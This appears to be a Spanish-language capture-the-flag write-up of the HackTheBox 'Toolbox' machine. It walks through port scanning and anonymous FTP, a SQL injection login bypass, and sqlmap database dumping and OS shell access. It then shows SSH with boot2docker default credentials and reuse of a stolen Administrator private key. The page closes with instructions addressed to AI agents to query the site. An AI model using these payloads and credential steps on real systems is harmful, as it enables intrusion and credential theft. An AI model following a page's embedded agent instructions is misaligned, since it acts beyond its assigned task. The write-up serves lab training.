# ToolBox

<figure><img src="/files/bteQyMN1AnbCOAXKSYu2" alt=""><figcaption></figcaption></figure>

Toolbox es una máquina de dificultad fácil que podemos encontrar en la plataforma de HackTheBox. Es una instancia de Windows que ejecuta un Docker Toolbox. Antes de que Windows pudiera admitir contenedores, esto usaba VirtualBox para ejecutar un sistema operativo Linux personalizado y liviano optimizado para ejecutar Docker. Obtendré una retención mediante inyección de SQL que se convierte en RCE con SQLMap. Luego, usaré las credenciales predeterminadas para pasar a la VM, donde encuentro una clave SSH que otorga acceso de administrador al sistema Host.

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.10.236
```

<figure><img src="/files/eEXrd4mHG61NkXW9Uyt4" alt=""><figcaption></figcaption></figure>

Tenemos 14 puertos abiertos en el Host víctima. Vamos a realizar un escaneo más profundo para determinar versiones de los servicios disponibles.

```
nmap -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 -sVC -vv 10.10.11.130
```

<figure><img src="/files/nP7NDD3fz2mtWlTTXJSu" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3Hxl9xAEuSTT34klURvs" alt=""><figcaption></figcaption></figure>

Después de finalizar el escaneo con NMAP, vemos que tenemos los servicios FTP, SSH, RPC NetBIOS, HTTPS y SMB disponibles. También, que el inicio de sesión en el servicio FTP es anónimo.&#x20;

#### Enumeración FTP

Anteriormente, vimos que podemos iniciar sesión en el servidor FTP de manera anónima. Vamos a iniciar sesión y ver si hay información que nos pueda ser de utilidad.&#x20;

```
ftp -p 10.10.10.236
```

<figure><img src="/files/f70GqVKGfEQHq5eaMAed" alt=""><figcaption></figcaption></figure>

Podemos ver un binario llamado "docker-toolbox.exe". Esto nos puede dar una idea de que el sistema está basado en Docker. De momento, no podemos hacer mucho más con la información encontrada.&#x20;

#### Enumeración web

Al realizar el escaneo de servicios, vimos el nombre de un dominio. Vamos  a registrarlo en nuestro archivo /etc/hosts.&#x20;

```
echo "10.10.10.236 admin.megalogistic.com" >> /etc/hosts
```

Ahora vamos a ver su contenido en el navegador web.

<figure><img src="/files/7ad0Ag05otKKOFmOSo2J" alt=""><figcaption></figcaption></figure>

### Shell como usuario Postgres en Docker

#### Identificando vulnerabilidad

Tenemos un formulario de inicio de sesión. Vamos a comprobar si es vulnerable a inyecciones SQL. Para ello, realizamos la inyección de varios paylaods para comprobar si da error.&#x20;

Después de realizar la inyección de varios payloads, el siguiente provoca un error y nos permite iniciar sesión como  admin.&#x20;

```
admin'-- -
```

<figure><img src="/files/038FzoTyR0O53aZyH86I" alt=""><figcaption></figcaption></figure>

Después de examinar todos los posibles accesos y puntos que pudiesen ser vulnerables, no encotramos nada que nos pueda ser útil. El siguiente paso será enumerar la BBDD y probar si podemos realizar inyección de comandos aprovechando la vulnerabilidad SQLi.&#x20;

#### Enumerar BBDD

Un formulario de inicio de sesión no muestra datos de la base de datos en la página, por lo que es un Blind SQL. Guardaré una solicitud POST capturando la petición del formulario con Burp.&#x20;

Ejecutaré `-r login.txt` para darle el archivo desde el que trabajar `--force-ssl`(ya que es un sitio con certificado HTTPS) y `--batch`para aceptar los valores predeterminados en las indicaciones. Con el comando `--dbs` enumeraremos las bases de datos disponibles.&#x20;

<figure><img src="/files/cDMNKMkOy4SgKGp7vfMd" alt=""><figcaption><p>Petición captura del formulario de inicio de sesión</p></figcaption></figure>

Ahora con el archivo login.txt creado, utilizamos SQLMap para enumerar la base de datos.&#x20;

```
sqlmap -r login.txt --force-ssl --batch --dbs
```

<figure><img src="/files/hgxUneOoOegEY4GtcFIf" alt=""><figcaption></figcaption></figure>

De las tres bases de datos disponibles, la que parece más interesante es "public". A continuación, vamos a enumerar las tablas de esta base de datos.&#x20;

```
sqlmap -r login.txt --force-ssl --batch -D public --tables
```

<figure><img src="/files/yfJx1aA9zueOlXzTXA1Z" alt=""><figcaption></figcaption></figure>

Finalmente, vamos a volcar el contenido de la tabla "users".

```
sqlmap -r login.txt --force-ssl --batch -D public -T users --dump
```

<figure><img src="/files/vYpTAlDJmEkcACDeWLOQ" alt=""><figcaption></figcaption></figure>

Obtenemos el hash de contraseña para el usuario admin, pero no podemos descifrarlo utilizando diversas herramientas. Tenemos que probar otra forma de acceso a la máquina objetivo. Vamos a utilizar los parámetros --os-cmd y --os-shell para intentar conectar con la máquina víctima aprovechando la vuln SQLi.

```
sqlmap -r login.txt --force-ssl --batch --os-cmd whoami
sqlmap -r login.txt --force-ssl --batch --os-cmd id
sqlmap -r login.txt --force-ssl --batch --os-shell
```

<figure><img src="/files/GHEfP8Yf8QMs0vH74I6K" alt=""><figcaption><p>sqlmap -r login.txt --force-ssl --batch --os-cmd whoami</p></figcaption></figure>

<figure><img src="/files/89x417bLILbvROfIcB8Z" alt=""><figcaption><p>sqlmap -r login.txt --force-ssl --batch --os-cmd id</p></figcaption></figure>

<figure><img src="/files/6TaQQtI4h71Kb9AXcVob" alt=""><figcaption><p>sqlmap -r login.txt --force-ssl --batch --os-shell</p></figcaption></figure>

Y podemos conectarnos a la máquina víctima mediante shell.&#x20;

<figure><img src="/files/0hd6nKG1ZmAQmCVy9ptW" alt=""><figcaption></figcaption></figure>

Y buscamos la flag user.txt

<figure><img src="/files/1lpvtJbezAFKEGoYUA8X" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

#### Shell como Docker en VM

Con el comando ifconfig podemos ver que no estamos en la máquina Host. La IP 172.17.0.2 indica que estamos en un Docker y que el Host es 172.17.0.1.

<figure><img src="/files/Zea43GgW1QrzUVNTMHBD" alt=""><figcaption></figcaption></figure>

Recordemos que el Host principal es un SO Windows pero Docker no se puede instalar directamente sobre SO Windows. También, vamos a recordar el binario que encontramos en el servidor FTP "docker-toolbox.exe".&#x20;

Detalles que debemos conocer sobre Docker-Toolbox. Docker Toolbox instala VirtualBox y crea una máquina virtual que ejecuta la distribución de Linux boot2docker. Boot2Docker es una distribución ligera de Linux creada específicamente para ejecutar contenedores Docker en distribuciones Windows y Mac OS.&#x20;

Esta distribución tiene unas credenciales por defecto que son usuario docker y la contraseña tcuser.&#x20;

Intentaremos saltar mediante SSH desde la terminal "postgres"

```
ssh docker@172.17.0.1
```

<figure><img src="/files/GCWW29AJwVcCPA85GJce" alt=""><figcaption></figcaption></figure>

\*Hay que inicar una terminal interactiva ('script /dev/null -c bash')

Ya somos usuarios Docker. Vamos a comprobar los privilegios de este usuario.&#x20;

```
sudo -l
```

<figure><img src="/files/aJcQOJhodC6U1v51AstJ" alt=""><figcaption></figcaption></figure>

Este usuario puede utilizar sudo sin contraseña.&#x20;

#### ROOT

Enumeramos los directorios disponibles para el usuario Docker.&#x20;

<figure><img src="/files/fCYvnCqk1dF0AO6XQOa1" alt=""><figcaption></figcaption></figure>

Entre todos los directorios encontrados, hay uno cuyo nombre no es común, "c". Vamos a ver su contenido.&#x20;

<figure><img src="/files/yEUy09Mcl92wXhx4cZ4E" alt=""><figcaption></figcaption></figure>

Dentro del directorio "c" hay otro llamado "Users". Dentro de este directorio hay un subdirectorio llamado "Administrator", que contiene varias carpetas entre ellas, ".ssh".&#x20;

<figure><img src="/files/lUucbvPW5NMXC3IqVFiu" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido de .ssh.

<figure><img src="/files/KxiCZosU8dbn2efhqyge" alt=""><figcaption></figcaption></figure>

Dentro de este directorio tenemos unas claves "id\_rsa". Vamos a copiar la clave privada a nuestra máquina para intentar la conexión a la máquina víctima como usuario Administrator mediante SSH.&#x20;

<figure><img src="/files/XZCGJ9CSpMaDicDn5v4G" alt=""><figcaption></figcaption></figure>

Y le damos privilegios para poder utilizarla en conexiones SSH.&#x20;

```
chmod 600 id_rsa
```

Intentamos la conexión SSH con la clave "id\_rsa" encontrada desde nuestra terminal.&#x20;

```
ssh administrator@10.10.10.236 -i id_rsa
```

<figure><img src="/files/6fWm4ygaNZ938xG2VNJl" alt=""><figcaption></figcaption></figure>

Ya estamos conectados a la máquina víctima como usuario Administrator. Solo queda buscar la flag root.txt.

<figure><img src="/files/4YTmqqTsTkvlHgGY6eS6" alt=""><figcaption></figcaption></figure>

Y ya estaría acabada la máquina ToolBox.&#x20;

{% embed url="<https://www.youtube.com/watch?v=mN1KJg2ZSUE>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/toolbox.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
